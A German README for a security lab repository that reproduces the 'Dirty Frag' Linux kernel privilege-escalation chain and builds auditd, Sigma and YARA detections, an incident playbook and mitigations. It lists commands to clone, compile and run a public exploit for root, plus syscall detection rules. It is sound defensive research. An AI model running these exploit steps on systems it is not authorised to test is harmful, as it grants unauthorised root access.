Dirty-Frag-CVE-2026-43284

Dirty Frag (CVE‑2026‑43284 & CVE‑2026‑43500) — Exploit-Reproduktion & Erkennungslabor

Dieses Repository dokumentiert die durchgängige Reproduktion, Erkennungsentwicklung und Incident Response für die Dirty Frag Linux-Kernel-LPE-Chain (Local Privilege Escalation). Dirty Frag verkettet zwei deterministische Logikfehler – CVE‑2026‑43284 (xfrm/ESP) und CVE‑2026‑43500 (RxRPC) – um es einem unprivilegierten lokalen Benutzer zu ermöglichen, den Page-Cache von schreibgeschützten Dateien (z. B. /usr/bin/su) zu überschreiben und eine Root-Shell zu erhalten.

Wichtige Erkenntnisse

• ✅ Dirty Frag erfolgreich auf Kali Linux 2026.1 (Kernel 6.18.12+kali‑amd64) ausgenutzt
• ✅ auditd-Erkennungsregeln auf Syscall-Ebene bereitgestellt
• ✅ Sigma- und YARA-Regeln für plattformübergreifende Erkennung erstellt
• ✅ Vollständiges Incident-Response-Playbook entwickelt
• ✅ Jeden Schritt mit Screenshots für die Portfolio-Nutzung dokumentiert

Warum dies wichtig ist

Dirty Frag ist ein Logikfehler, keine Speicherkorruption. Er ist deterministisch, betrifft praktisch alle Linux-Distributionen, die seit 2017 ausgeliefert wurden, und ist völlig fileless – herkömmliche Dateiintegritätsüberwachung (AIDE, Tripwire) kann ihn nicht erkennen. Der öffentliche PoC ist eine einzelne C-Datei, die sowohl den ESP- als auch den RxRPC-Pfad verkettet.

Laborumgebung

Reproduktionsschritte

1. Kali-Version & Kernel überprüfen

Das Labor beginnt damit, zu bestätigen, dass das Ziel einen verwundbaren Kernel ausführt.

cat /etc/os-release | head -3
uname -r

📸 screenshots/pre_exploit_id.png — Kali 2026.1 Release- und Kernel-Details. Die Ausgabe von uname -r zeigt den verwundbaren Kernel 6.18.12+kali‑amd64.

2. Auf verwundbare Module prüfen

Der Exploit benötigt die Kernel-Module esp4, esp6 und rxrpc.

lsmod | grep -E "esp4|esp6|rxrpc"
modinfo esp4 esp6 rxrpc 2>/dev/null | grep -E "^(name|depends)"

📸 screenshots/module_mitigation.png — lsmod und modinfo bestätigen, dass die verwundbaren Module verfügbar sind.

3. Python-Version

Die Python-basierte Variante des PoC benötigt Python 3.10+. Wir überprüfen den Interpreter.

python3 --version

Python 3.12 ist installiert und bereit.

4. Verwundbarkeitsprüfer (nicht zerstörend)

Vor dem Ausführen des vollständigen Exploits bestätigt ein sicheres Prüfskript, dass das System verwundbar ist.

python3 poc/check_vulnerable.py

Der Prüfer meldet "potentially vulnerable", was den Weg für die Ausnutzung freimacht.

5. Unprivilegierten Benutzer erstellen

Ein unprivilegierter testuser-Account simuliert einen Angreifer ohne besondere Rechte.

sudo useradd -m testuser
sudo passwd testuser
su - testuser
id

📸 id zeigt UID 1001, was den Nicht-Root-Zugriff bestätigt.

6. Exploit klonen & ausführen

Der offizielle V4bel-PoC wird vom unprivilegierten Account aus geklont und kompiliert.

git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag
gcc -O0 -Wall -o exp exp.c -lutil
./exp

📸 screenshots/exploit_execution.png — Der Exploit überschreibt den Page-Cache von /usr/bin/su und löst die beschädigte Binärdatei aus.

📸 screenshots/post_exploit_root.png — whoami- und id-Ausgabe beweisen die vollständige Root-Eskalation.

7. Fileless-Natur überprüfen (keine Datenträgeränderung)

Der Exploit beschädigt nur den arbeitsspeicherinternen Page-Cache. Das /usr/bin/su auf der Festplatte behält seine ursprüngliche Prüfsumme.

sha256sum /usr/bin/su

Der sha256sum stimmt auch nach der Ausnutzung mit dem ursprünglichen Paket-Hash überein, was keine Datenträgeränderung bestätigt.

8. Bereinigung nach dem Exploit (kritisch!)

Nach dem Ausführen des Exploits ist der Page-Cache kontaminiert. Leeren Sie ihn immer:

echo 3 | sudo tee /proc/sys/vm/drop_caches
# Oder starten Sie das System neu

Erkennungsentwicklung

Dirty Frag kann nicht durch Dateiintegritätsüberwachung erkannt werden. Stattdessen konzentrieren wir uns auf die Syscall-Primitive, die es verwendet.

auditd-Regeln

Wir setzen benutzerdefinierte auditd-Regeln ein, die auslösen bei:

• Erstellung von socket(AF_ALG) Familie 38 und socket(AF_RXRPC) Familie 21
• Verwendung des splice()-Syscalls
• Erstellung von Namespaces mit unshare(CLONE_NEWUSER | CLONE_NEWNET)
• Lesezugriff auf setuid-Binärdateien durch unprivilegierte Prozesse

# /etc/audit/rules.d/dirtyfrag.rules
-a always,exit -F arch=b64 -S socket -F a0=38 -F uid!=0 -k dirtyfrag_af_alg
-a always,exit -F arch=b64 -S socket -F a0=21 -F uid!=0 -k dirtyfrag_rxrpc
-a always,exit -F arch=b64 -S splice -F uid!=0 -k dirtyfrag_splice
-a always,exit -F arch=b64 -S unshare -F uid!=0 -k dirtyfrag_namespace
-w /usr/bin/su -p r -k dirtyfrag_suid_read

Alle benutzerdefinierten Regeln sind aktiv, verifiziert mit auditctl -l.

Nach erneuter Ausführung des Exploits sehen wir Alarme für die genau verwendeten Syscalls:

• ausearch -k dirtyfrag_af_alg zeigt ein AF_ALG-Socket-Erstellungsereignis vom testuser-Prozess
• ausearch -k dirtyfrag_splice zeigt ein splice()-Ereignis von derselben PID, eine starke Korrelation
• ausearch -k dirtyfrag_namespace zeigt die Namespace-Erstellung

Sigma-Regel

Eine Sigma-Regel übersetzt die auditd-Ergebnisse in ein anbieterneutrales SIEM-Format.

Datei: detection/sigma/dirty_frag_exploit.yml

YARA-Regel

Eine YARA-Regel hilft, Dirty-Frag-Exploit-Code auf der Festplatte und im Speicher zu identifizieren.

Datei: detection/yara/dirty_frag_exploit.yar

Zusammenfassung der Erkennungsabdeckung

Incident-Response-Playbook

Ein vollständiger Incident-Response-Bericht ist unter reports/incident-dirtyfrag.md verfügbar. Er enthält:

• Zusammenfassung – Dirty-Frag-Ausnutzung beobachtet
• Indikatoren für Kompromittierung (IoCs) – auditd-Alarme für AF_ALG/AF_RXRPC-Socket-Erstellung, splice()-Aufrufe, unshare-Namespace-Ereignisse und SUID-Binärdateiausführung durch Nicht-Root-Prozesse
• MITRE ATT&CK-Mapping – T1068 (Exploitation for Privilege Escalation), T1611 (Escape to Host)
• Eindämmungs- und Beseitigungsschritte – Modul-Blacklisting, Page-Cache leeren, Kernel-Update
• Erkenntnisse zu fileless-Angriffen und der Bedeutung von Syscall-Überwachung

Gegenmaßnahmen

Sofortige Gegenmaßnahmen (kein Neustart erforderlich):

echo "install esp4 /bin/false" | sudo tee /etc/modprobe.d/dirtyfrag.conf
echo "install esp6 /bin/false" | sudo tee -a /etc/modprobe.d/dirtyfrag.conf
echo "install rxrpc /bin/false" | sudo tee -a /etc/modprobe.d/dirtyfrag.conf
sudo rmmod esp4 esp6 rxrpc 2>/dev/null

⚠️ Auswirkungen: Das Deaktivieren dieser Module unterbricht die Funktionalität von IPsec-VPNs und AFS-Dateisystemen.

Ein einsatzbereites Gegenmaßnahmen-Skript ist unter mitigation/dirtyfrag_mitigation.sh enthalten.

Permanente Lösung: Aktualisieren Sie Ihren Kernel auf eine gepatchte Version.